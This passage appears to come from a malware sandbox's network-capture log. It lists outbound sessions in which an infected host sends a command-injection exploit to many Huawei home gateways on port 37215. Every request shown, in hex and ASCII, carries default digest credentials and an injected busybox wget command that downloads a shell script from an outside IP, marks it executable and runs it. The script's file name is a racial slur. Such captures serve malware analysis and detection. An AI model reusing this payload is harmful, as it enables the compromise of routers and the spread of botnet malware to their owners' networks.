xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.15	37850	94.122.224.59	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:08.988805056 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.15	45790	94.122.82.183	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:08.990550041 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.15	49446	94.121.132.238	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:08.990679026 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.15	50290	94.123.154.146	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:08.990989923 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.15	60020	94.121.98.243	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:08.992034912 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.15	53056	94.123.155.107	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:08.998738050 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.15	58538	94.122.3.84	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:08.999237061 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.15	49204	138.36.244.85	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:11.600694895 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:12.320235014 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 